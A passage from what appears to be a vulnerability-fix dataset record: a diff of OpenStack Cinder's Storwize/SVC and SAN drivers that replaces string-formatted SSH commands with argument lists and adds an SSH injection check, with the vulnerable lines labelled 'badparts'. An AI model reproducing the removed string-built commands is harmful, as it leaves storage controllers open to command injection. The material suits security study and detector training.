-646,7 +648,7 @@ def _delete_host(self, host_name):\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n@@ -820,8 +822,8 @@ def terminate_connection(self, volume, connector, **kwargs):\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n@@ -852,13 +854,13 @@ def _get_vdisk_attributes(self, vdisk_name):\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n@@ -921,31 +923,27 @@ def _create_vdisk(self, name, size, units, opts):\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = '-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n@@ -964,12 +962,10 @@ def _create_vdisk(self, name, size, units, opts):\n LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n@@ -1020,7 +1016,7 @@ def _make_fc_map(self, source, target, full_copy):\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n@@ -1077,7 +1073,7 @@ def _prepare_fc_map(self, fc_map_id, source, target):\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n@@ -1148,8 +1144,8 @@ def _get_flashcopy_mapping_attributes(self, fc_map_id):\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n@@ -1204,8 +1200,8 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n@@ -1215,19 +1211,20 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n@@ -1266,9 +1263,9 @@ def _delete_vdisk(self, name, force):\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -1336,8 +1333,8 @@ def extend_volume(self, volume, new_size):\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n@@ -1376,7 +1373,7 @@ def _update_volume_stats(self):\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n@@ -1388,7 +1385,7 @@ def _update_volume_stats(self):\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n@@ -1406,7 +1403,7 @@ def _update_volume_stats(self):\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -1483,7 +1480,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n@@ -1509,7 +1506,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "files": {"/cinder/tests/test_storwize_svc.py": {"changes": [{"diff": "\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n", "add": 1, "remove": 2, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" def _cmd_to_dict(self, cmd):", " arg_list = cmd.split()"], "goodparts": [" def _cmd_to_dict(self, arg_list):"]}, {"diff": "\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs", "add": 0, "remove": 1, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" arg_list = cmd.split()"], "goodparts": []}]}, "/cinder/volume/drivers/san/san.py": {"changes": [{"diff": "\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/san.py", "badparts": [" def _run_ssh(self, command, check_exit_code=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}], "source": "\n \"\"\" Default Driver for san-stored volumes. The unique thing about a SAN is that we don't expect that we can run the volume controller on the SAN hardware. We expect to access it over SSH or some API. \"\"\" import random from eventlet import greenthread from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder import utils from cinder.volume import driver LOG=logging.getLogger(__name__) san_opts=[ cfg.BoolOpt('san_thin_provision', default=True, help='Use thin provisioning for SAN volumes?'), cfg.StrOpt('san_ip', default='', help='IP address of SAN controller'), cfg.StrOpt('san_login', default='admin', help='Username for SAN controller'), cfg.StrOpt('san_password', default='', help='Password for SAN controller', secret=True), cfg.StrOpt('san_private_key', default='', help='Filename of private key to use for SSH authentication'), cfg.StrOpt('san_clustername', default='', help='Cluster name to use for creating volumes'), cfg.IntOpt('san_ssh_port', default=22, help='SSH port to use with SAN'), cfg.BoolOpt('san_is_local', default=False, help='Execute commands locally instead of over SSH; ' 'use if the volume service is running on the SAN device'), cfg.IntOpt('ssh_conn_timeout', default=30, help=\"SSH connection timeout in seconds\"), cfg.IntOpt('ssh_min_pool_conn', default=1, help='Minimum ssh connections in the pool'), cfg.IntOpt('ssh_max_pool_conn', default=5, help='Maximum ssh connections in the pool'), ] CONF=cfg.CONF CONF.register_opts(san_opts) class SanDriver(driver.VolumeDriver): \"\"\"Base class for SAN-style storage volumes A SAN-style storage value is 'different' because the volume controller probably won't run on it, so we need to access is over SSH or another remote protocol. \"\"\" def __init__(self, *args, **kwargs): execute=kwargs.pop('execute', self.san_execute) super(SanDriver, self).__init__(execute=execute, *args, **kwargs) self.configuration.append_config_values(san_opts) self.run_local=self.configuration.san_is_local self.sshpool=None def san_execute(self, *cmd, **kwargs): if self.run_local: return utils.execute(*cmd, **kwargs) else: check_exit_code=kwargs.pop('check_exit_code', None) command=' '.join(cmd) return self._run_ssh(command, check_exit_code) def _run_ssh(self, command, check_exit_code=True, attempts=1): if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, privatekey=privatekey, min_size=min_size, max_size=max_size) last_exception=None try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: return utils.ssh_execute( ssh, command, check_exit_code=check_exit_code) except Exception as e: LOG.error(e) last_exception=e greenthread.sleep(random.randint(20, 500) / 100.0) try: raise exception.ProcessExecutionError( exit_code=last_exception.exit_code, stdout=last_exception.stdout, stderr=last_exception.stderr, cmd=last_exception.cmd) except AttributeError: raise exception.ProcessExecutionError( exit_code=-1, stdout=\"\", stderr=\"Error running SSH command\", cmd=command) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def ensure_export(self, context, volume): \"\"\"Synchronously recreates an export for a logical volume.\"\"\" pass def create_export(self, context, volume): \"\"\"Exports the volume.\"\"\" pass def remove_export(self, context, volume): \"\"\"Removes an export for a logical volume.\"\"\" pass def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" if not self.run_local: if not(self.configuration.san_password or self.configuration.san_private_key): raise exception.InvalidInput( reason=_('Specify san_password or san_private_key')) if not self.configuration.san_ip: raise exception.InvalidInput(reason=_(\"san_ip must be set\")) class SanISCSIDriver(SanDriver, driver.ISCSIDriver): def __init__(self, *args, **kwargs): super(SanISCSIDriver, self).__init__(*args, **kwargs) def _build_iscsi_target_name(self, volume): return \"%s%s\" %(self.configuration.iscsi_target_prefix, volume['name']) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2011 Justin Santa Barbara\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nDefault Driver for san-stored volumes.\n\nThe unique thing about a SAN is that we don't expect that we can run the volume\ncontroller on the SAN hardware. We expect to access it over SSH or some API.\n\"\"\"\n\nimport random\n\nfrom eventlet import greenthread\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nfrom cinder.volume import driver\n\nLOG = logging.getLogger(__name__)\n\nsan_opts = [\n cfg.BoolOpt('san_thin_provision',\n default=True,\n help='Use thin provisioning for SAN volumes?'),\n cfg.StrOpt('san_ip',\n default='',\n help='IP address of SAN controller'),\n cfg.StrOpt('san_login',\n default='admin',\n help='Username for SAN controller'),\n cfg.StrOpt('san_password',\n default='',\n help='Password for SAN controller',\n secret=True),\n cfg.StrOpt('san_private_key',\n default='',\n help='Filename of private key to use for SSH authentication'),\n cfg.StrOpt('san_clustername',\n default='',\n help='Cluster name to use for creating volumes'),\n cfg.IntOpt('san_ssh_port',\n default=22,\n help='SSH port to use with SAN'),\n cfg.BoolOpt('san_is_local',\n default=False,\n help='Execute commands locally instead of over SSH; '\n 'use if the volume service is running on the SAN device'),\n cfg.IntOpt('ssh_conn_timeout',\n default=30,\n help=\"SSH connection timeout in seconds\"),\n cfg.IntOpt('ssh_min_pool_conn',\n default=1,\n help='Minimum ssh connections in the pool'),\n cfg.IntOpt('ssh_max_pool_conn',\n default=5,\n help='Maximum ssh connections in the pool'),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(san_opts)\n\n\nclass SanDriver(driver.VolumeDriver):\n \"\"\"Base class for SAN-style storage volumes\n\n A SAN-style storage value is 'different' because the volume controller\n probably won't run on it, so we need to access is over SSH or another\n remote protocol.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n execute = kwargs.pop('execute', self.san_execute)\n super(SanDriver, self).__init__(execute=execute,\n *args, **kwargs)\n self.configuration.append_config_values(san_opts)\n self.run_local = self.configuration.san_is_local\n self.sshpool = None\n\n def san_execute(self, *cmd, **kwargs):\n if self.run_local:\n return utils.execute(*cmd, **kwargs)\n else:\n check_exit_code = kwargs.pop('check_exit_code', None)\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n\n def _run_ssh(self, command, check_exit_code=True, attempts=1):\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n last_exception = None\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n return utils.ssh_execute(\n ssh,\n command,\n check_exit_code=check_exit_code)\n except Exception as e:\n LOG.error(e)\n last_exception = e\n greenthread.sleep(random.randint(20, 500) / 100.0)\n try:\n raise exception.ProcessExecutionError(\n exit_code=last_exception.exit_code,\n stdout=last_exception.stdout,\n stderr=last_exception.stderr,\n cmd=last_exception.cmd)\n except AttributeError:\n raise exception.ProcessExecutionError(\n exit_code=-1,\n stdout=\"\",\n stderr=\"Error running SSH command\",\n cmd=command)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def ensure_export(self, context, volume):\n \"\"\"Synchronously recreates an export for a logical volume.\"\"\"\n pass\n\n def create_export(self, context, volume):\n \"\"\"Exports the volume.\"\"\"\n pass\n\n def remove_export(self, context, volume):\n \"\"\"Removes an export for a logical volume.\"\"\"\n pass\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n if not self.run_local:\n if not (self.configuration.san_password or\n self.configuration.san_private_key):\n raise exception.InvalidInput(\n reason=_('Specify san_password or san_private_key'))\n\n # The san_ip must always be set, because we use it for the target\n if not self.configuration.san_ip:\n raise exception.InvalidInput(reason=_(\"san_ip must be set\"))\n\n\nclass SanISCSIDriver(SanDriver, driver.ISCSIDriver):\n def __init__(self, *args, **kwargs):\n super(SanISCSIDriver, self).__init__(*args, **kwargs)\n\n def _build_iscsi_target_name(self, volume):\n return \"%s%s\" % (self.configuration.iscsi_target_prefix,\n volume['name'])\n"}, "/cinder/volume/drivers/storwize_svc.py": {"changes": [{"diff": "\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" generator = self._port_conf_generator('svcinfo lsportip')"], "goodparts": [" generator = self._port_conf_generator(['svcinfo', 'lsportip'])"]}, {"diff": "\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]"]}, {"diff": "\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']"]}, {"diff": "\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lslicense -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']"]}, {"diff": "\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']"]}, {"diff": "\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'", " % {'chap_secret': chap_secret, 'host_name': host_name})"], "goodparts": [" ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]"]}, {"diff": "\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsiscsiauth -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']"]}, {"diff": "\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']"]}, {"diff": "\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim ! %s' % host"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]"]}, {"diff": "\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']"]}, {"diff": "\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n", "add": 6, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %", " {'port1': port1, 'host_name': host_name})", " ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))"], "goodparts": [" arg_name, arg_val = port1.split()", " ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',", " '\"%s\"' % host_name]", " arg_name, arg_val = port.split()", " ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,", " host_name]"]}, {"diff": "\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]"]}, {"diff": "\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n", "add": 2, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '", " '%(result_lun)s %(volume_name)s' %", " {'host_name': host_name,", " 'result_lun': result_lun,", " 'volume_name': volume_name})"], "goodparts": [" ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,", " '-scsi', result_lun, volume_name]"]}, {"diff": "\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n", "add": 5, 